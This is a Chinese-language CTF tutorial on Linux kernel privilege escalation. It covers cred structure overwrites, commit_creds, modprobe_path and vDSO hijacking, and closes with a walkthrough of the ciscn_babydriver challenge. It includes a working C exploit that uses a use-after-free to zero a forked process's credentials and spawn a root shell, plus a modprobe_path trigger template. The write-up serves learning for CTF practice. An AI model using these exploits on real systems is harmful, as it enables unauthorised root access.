kernel pwn(二)权限提升

kernel_pwn的权限提升很重要。从一个普通用户变成root用户,可以上升到get flag的权限。学习一下吧。

题目链接:https://github.com/z1r00/ctf-pwn/tree/main/kernel_pwn/ciscn_babydriver

权限基础

内核提权指的是普通用户可以获取到 root 用户的权限,访问原先受限的资源。这里从两种角度来考虑如何提权

  • kernel_pwn改变自身:通过改变自身进程的权限,使其具有 root 权限。
  • 改变别人:通过影响高权限进程的执行,使其完成我们想要的功能。

内核会通过进程的 task_struct 结构体中的 cred 指针来索引 cred 结构体,然后根据 cred 的内容来判断一个进程拥有的权限,如果 cred 结构体成员中的 uid-fsgid 都为 0,那一般就会认为进程具有 root 权限。cread结构体在include/linux/cred.h这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */

既然uid-fsgid为0就可以拿到root权限,我们可以这样提权

  • 修改结构体的对应的id为0
  • 修改 task_struct 结构体中的 cred 指针指向一个满足要求的 cred

我们要做的就是定位cred结构体,修改id/修改cred指针

改变自身

直接改cread的id

定位结构体

首先我们肯定得找到结构的位置。有两种方法(直接定位和间接定位)

直接定位

cred 结构体的最前面记录了各种 id 信息,对于一个普通的进程而言,uid-fsgid 都是执行进程的用户的身份。因此我们可以通过扫描内存来定位 cred。

在实际定位的过程中,我们可能会发现很多满足要求的 cred,这主要是因为 cred 结构体可能会被拷贝、释放。一个很直观的想法是在定位的过程中,利用 usage 不为 0 来筛除掉一些 cred,但仍然会发现一些 usage 为 0 的 cred。这是因为 cred 从 usage 为 0, 到释放有一定的时间。此外,cred 是使用 rcu 延迟释放的。

间接定位

task_struct

进程的 task_struct 结构体中会存放指向 cred 的指针,因此我们可以

  1. 定位当前进程 task_struct 结构体的地址
  2. 根据 cred 指针相对于 task_struct 结构体的偏移计算得出 cred 指针存储的地址
  3. 获取 cred 具体的地址
1
2
3
4
5
6
7
8
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
comm

comm 用来标记可执行文件的名字,位于进程的 task_struct 结构体中。我们可以发现 comm 其实在 cred 的正下方,所以我们也可以先定位 comm ,然后定位 cred 的地址。

然而,在进程名字并不特殊的情况下,内核中可能会有多个同样的字符串,这会影响搜索的正确性与效率。因此,我们可以使用 prctl 设置进程的 comm 为一个特殊的字符串,然后再开始定位 comm。

修改id

在这种方法下,我们可以直接将 cred 中的 uid-fsgid 都修改为 0。当然修改的方式有很多种,比如说

  • 在我们具有任意地址读写后,可以直接修改 cred。
  • 在我们可以 ROP 执行代码后,可以利用 ROP gadget 修改 cred。

UAF使用同样堆块

如果我们在进程初始化时能控制 cred 结构体的位置,并且我们可以在初始化后修改该部分的内容,那么我们就可以很容易地达到提权的目的。这里给出一个典型的例子

  1. 申请一块与 cred 结构体大小一样的堆块
  2. 释放该堆块
  3. fork 出新进程,恰好使用刚刚释放的堆块
  4. 此时,修改 cred 结构体特定内存,从而提权

在这个过程中,我们不需要任何的信息泄露。

修改cred指针

因为要修改cred的指针了,所以我们需要知道cred 指针的具体地址。此时使用上面的间接定位更加方便。

在具体修改时,我们可以使用如下的两种方式

  • 修改 cred 指针为内核镜像中已有的 init_cred 的地址。这种方法适合于我们能够直接修改 cred 指针以及知道 init_cred 地址的情况。
  • 伪造一个 cred,然后修改 cred 指针指向该地址即可。这种方式比较麻烦,一般并不使用。

commit_creds(prepare_kernel_cred(0))

我们还可以使用 commit_creds(prepare_kernel_cred(0)) 来进行提权,该方式会自动生成一个合法的 cred,并定位当前线程的 task_struct 的位置,然后修改它的 cred 为新的 cred。该方式比较适用于控制程序执行流后使用。

在整个过程中,我们并不知道 cred 指针的具体位置。

改变别人

如果我们可以改变特权进程的执行轨迹,也可以实现提权。这里我们从以下角度来考虑如何改变特权进程的执行轨迹。

  • 改数据
  • 改代码

改数据

这里给出几种通过改变特权进程使用的数据来进行提权的方法。

符号链接

如果一个 root 权限的进程会执行一个符号链接的程序,并且该符号链接或者符号链接指向的程序可以由攻击者控制,攻击者就可以实现提权。

call_usermodehelper

call_usermodehelper 是一种内核线程执行用户态应用的方式,并且启动的进程具有 root 权限。因此,如果我们能够控制具体要执行的应用,那就可以实现提权。在内核中,call_usermodehelper 具体要执行的应用往往是由某个变量指定的,因此我们只需要想办法修改掉这个变量即可。不难看出,这是一种典型的数据流攻击方法。一般常用的主要有以下几种方式。

修改modprobe_path

使用传统的kernel漏洞利用手法,调用prepare_kernel_cred()和commit_creds()的过程是一个非常繁琐的过程。所以就有了modprobe_path这个有效简便的方法

修改 modprobe_path 实现提权的基本流程如下

  1. 获取 modprobe_path 的地址。
  2. 修改 modprobe_path 为指定的程序。
  3. 触发执行 call_modprobe,从而实现提权 。这里我们可以利用以下几种方式来触发
    • 执行一个非法的可执行文件。非法的可执行文件需要满足相应的要求(参考 call_usermodehelper 部分的介绍)。
    • 使用未知协议来触发。

这里我们也给出使用 modprobe_path 的模板。

1
2
3
4
5
6
7
8
9
10
11
12
13
// step 1. modify modprobe_path to the target value

// step 2. create related file
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag\ncat flag' > /home/pwn/catflag.sh");
system("chmod +x /home/pwn/catflag.sh");

// step 3. trigger it using unknown executable
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");

// step 3. trigger it using unknown protocol
socket(AF_INET,SOCK_STREAM,132);

定位modprobe_path也是有两种方法,直接定位和间接定位。

直接定位

由于 modprobe_path 的取值是确定的,所以我们可以直接扫描内存,寻找对应的字符串。这需要我们具有扫描内存的能力。

间接定位

考虑到 modprobe_path 相对于内核基地址的偏移是固定的,我们可以先获取到内核的基地址,然后根据相对偏移来得到 modprobe_path 的地址。

修改poweroff_cmd

  1. 修改 poweroff_cmd 为指定的程序。
  2. 劫持控制流执行 __orderly_poweroff

定位poweroff_cmd的话可以用类似modprobe_path的定位方法

改代码

在程序运行时,如果我们可以修改 root 权限进程执行的代码,那其实我们也可以实现提权。

修改vDSO代码

内核中 vDSO 的代码会被映射到所有的用户态进程中。如果有一个高特权的进程会周期性地调用 vDSO 中的函数,那我们可以考虑把 vDSO 中相应的函数修改为特定的 shellcode。当高权限的进程执行相应的代码时,我们就可以进行提权。

在早期的时候,Linux 中的 vDSO 是可写的,考虑到这样的风险,Kees Cook 提出引入 post-init read-only 的数据,即将那些初始化后不再被写的数据标记为只读,来防御这样的利用。

在引入之前,vDSO 对应的 raw_data 只是标记了对齐属性。

1
2
3
4
5
6
7
8
fprintf(outfile, "/* AUTOMATICALLY GENERATED -- DO NOT EDIT */\n\n");
fprintf(outfile, "#include <linux/linkage.h>\n");
fprintf(outfile, "#include <asm/page_types.h>\n");
fprintf(outfile, "#include <asm/vdso.h>\n");
fprintf(outfile, "\n");
fprintf(outfile,
"static unsigned char raw_data[%lu] __page_aligned_data = {",
mapping_size);

引入之后,vDSO 对应的 raw_data 则被标记为了初始化后只读。

1
2
3
4
5
6
7
8
fprintf(outfile, "/* AUTOMATICALLY GENERATED -- DO NOT EDIT */\n\n");
fprintf(outfile, "#include <linux/linkage.h>\n");
fprintf(outfile, "#include <asm/page_types.h>\n");
fprintf(outfile, "#include <asm/vdso.h>\n");
fprintf(outfile, "\n");
fprintf(outfile,
"static unsigned char raw_data[%lu] __ro_after_init __aligned(PAGE_SIZE) = {",
mapping_size);

通过修改 vDSO 进行提权的基本方式如下

  • 定位 vDSO
  • 修改 vDSO 的特定函数为指定的 shellcode
  • 等待触发执行 shellcode

这里我们着重关注下如何定位 vDSO。

ida定位

这里我们介绍一下如何在 vmlinux 中找到 vDSO 的位置。

  1. 在 ida 里定位 init_vdso 函数的地址
1
2
3
4
5
6
7
8
9
10
__int64 init_vdso()
{
init_vdso_image(&vdso_image_64 + 0x20000000);
init_vdso_image(&vdso_image_x32 + 0x20000000);
cpu_maps_update_begin();
on_each_cpu((char *)startup_64 + 0x100003EA0LL, 0LL, 1LL);
_register_cpu_notifier(&sdata + 536882764);
cpu_maps_update_done();
return 0LL;
}

可以看到 vdso_image_64vdso_image_x32。以vdso_image_64 为例,点到该变量的地址

1
2
3
.rodata:FFFFFFFF81A01300                 public vdso_image_64
.rodata:FFFFFFFF81A01300 vdso_image_64 dq offset raw_data ; DATA XREF: arch_setup_additional_pages+18↑o
.rodata:FFFFFFFF81A01300 ; init_vdso+1↓o

点击 raw_data 即可知道 64 位 vDSO 在内核镜像中的地址,可以看到,vDSO 确实是以页对齐的。

1
2
3
4
.data:FFFFFFFF81E04000 raw_data        db  7Fh ;              ; DATA XREF: .rodata:vdso_image_64↑o
.data:FFFFFFFF81E04001 db 45h ; E
.data:FFFFFFFF81E04002 db 4Ch ; L
.data:FFFFFFFF81E04003 db 46h ; F

从最后的符号来看,我们也可以直接使用 raw_data 来寻找 vDSO。

内存里定位

vDSO 其实是一个 ELF 文件,具有 ELF 文件头。同时,vDSO 中特定位置存储着导出函数的字符串。因此我们可以根据这两个特征来扫描内存,定位 vDSO 的位置。

考虑到 vDSO 相对于内核基地址的偏移是固定的,我们可以先获取到内核的基地址,然后根据相对偏移来得到 vDSO 的地址。

实战

这么多基础知识看起来还是有点meng的,上一个题目看一下吧。

就拿ciscn_babydriver 这个题目看一下

题目拿到手可以看到给了这几个东西。

  • boot.sh:启动脚本
  • bzImage:kernel镜像
  • rootfs.cpio:文件系统映像

先看一下第一个boot.sh,可以看到启动参数。

启动一下,因为之前的文章里已经介绍了qemu,这里直接./boot.sh就可以了

看了一下,ctf的权限找不到flag,应该需要提权到root。将rootfs.cpio文件系统进行解包,拿到里面的驱动逻辑。

1
2
3
4
5
$ mkdir File_system
$ mv rootfs.cpio ./File_system/rootfs.cpio.gz
$ cd File_system
$ gunzip rootfs.cpio.gz
$ cpio -idmv < rootfs.cpio

接下来就是对ko逆向,文件在File_system/lib/modules/4.4.72里

1
2
3
4
5
6
$ file babydriver.ko 
babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with d

$ 4.4.72 checksec --file=babydriver.ko
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified FoE
No RELRO No canary found NX disabled REL No RPATH No RUNPATH 64) Symbols No 0 0 o

拉进IDA里面看一下babydriver_init这个函数,这个函数是进行参数设置的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
__int64 __fastcall babydriver_init()
{
__int64 v0; // rdx
unsigned int v1; // edx
__int64 v2; // rsi
__int64 v3; // rdx
int v4; // ebx
class *v5; // rax
__int64 v6; // rdx
__int64 v7; // rax

if ( alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
{
cdev_init(&cdev_0, &fops);
v2 = babydev_no;
cdev_0.owner = &_this_module;
v4 = cdev_add(&cdev_0, babydev_no, 1LL);
if ( v4 >= 0 )
{
v5 = _class_create(&_this_module, "babydev", &babydev_no);
babydev_class = v5;
if ( v5 )
{
v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");
v1 = 0;
if ( v7 )
return v1;
printk(&unk_351, 0LL, 0LL);
class_destroy(babydev_class);
}
else
{
printk(&unk_33B, "babydev", v6);
}
cdev_del(&cdev_0);
}
else
{
printk(&unk_327, v2, v3);
}
unregister_chrdev_region(babydev_no, 1LL);
return v4;
}
printk(&unk_309, 0LL, v0);
return 1;
}

相应的babydriver_exit函数也是参数设置的操作,设备卸载时候的会调用的,把分配的设备和class等回收。

1
2
3
4
5
6
7
void __fastcall babydriver_exit()
{
device_destroy(babydev_class, babydev_no);
class_destroy(babydev_class);
cdev_del(&cdev_0);
unregister_chrdev_region(babydev_no, 1LL);
}

再来看一下open函数和release吧。这两个函数对babydev_struct进行分配内存和释放内存

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall babyopen(inode *inode, file *filp, __int64 a3)
{
__int64 v3; // rdx

_fentry__(inode, filp, a3);
babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 37748928LL, v3);
return 0LL;
}

babydev_struct.device_buf对它进行分配内存,babydev_struct.device_buf_len = 64LL;buf的长度为64。

接下来就是read函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
size_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
size_t result; // rax
size_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
return v6;
}
return result;
}

babydev_struct.device_buf对它时行判空,不为空并且babydev_struct.device_buf_len>v4就可以device_buf拷贝到Buffer里

看一下write函数,read write对应起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
size_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
size_t result; // rax
size_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
return v6;
}
return result;
}

接着就剩下了最后一个ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall babyioctl(file *filp, __int64 command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx

_fentry__(filp, command);
v4 = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = _kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
return 0LL;
}
else
{
printk(&unk_2EB);
return -22LL;
}
}

先用kfree将babydev_struct.device_buf释放,再kalloc分配一个指定size的内存地址赋给device_buf。

漏洞利用

在分析函数的时候,将babydev_struct.device_buf释放之后,并没有进行清0操作,其实SLAB和SLUB都是内核的内存管理机制和堆管理很类似。这题很明显的存在uaf漏洞。

可以修改cred。因为这题有uaf,babydev_struct.device_buf这个是全局变量,所以我们可以申请两次,第二次就可以覆盖第一次,接着可以free掉buf,行成uaf。再fork一个新进程,fork新进程时会分配cred结构体来标明新的权限,调用write向此时的babydev_struct.device_buf中写入28个0,刚好覆盖至uid和gid,实现root提权。其实这题可以看成全局竞争。

下图可以看到kernel的版本4.4.72,cred结构体的总大小是0xa8,一直到gid结束是28个字节。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<stdio.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include<fcntl.h>
#include <unistd.h>

int main(int argc, char **argv){
int fd1,fd2,id;
char cred[0xa8] = {0};
fd1 = open("dev/babydev",O_RDWR);
fd2 = open("dev/babydev",O_RDWR);
ioctl(fd1,0x10001,0xa8);
close(fd1);
id = fork();
if(id == 0){
write(fd2,cred,28);
if(getuid() == 0){
printf("[*]welcome root:\n");
system("/bin/sh");
return 0;
}
}
else if(id < 0){
printf("[*]fork fail\n");
}
else{
wait(NULL);
}
close(fd2);
return 0;
}

Reference

https://ctf-wiki.org/pwn/linux/kernel-mode/aim/privilege-escalation/change-others/

https://ctf-wiki.org/pwn/linux/kernel-mode/aim/privilege-escalation/change-self/#_12

https://ama2in9.top/2020/09/03/kernel/

https://lwn.net/Articles/676145/

https://blog.csdn.net/m0_38100569/article/details/100673103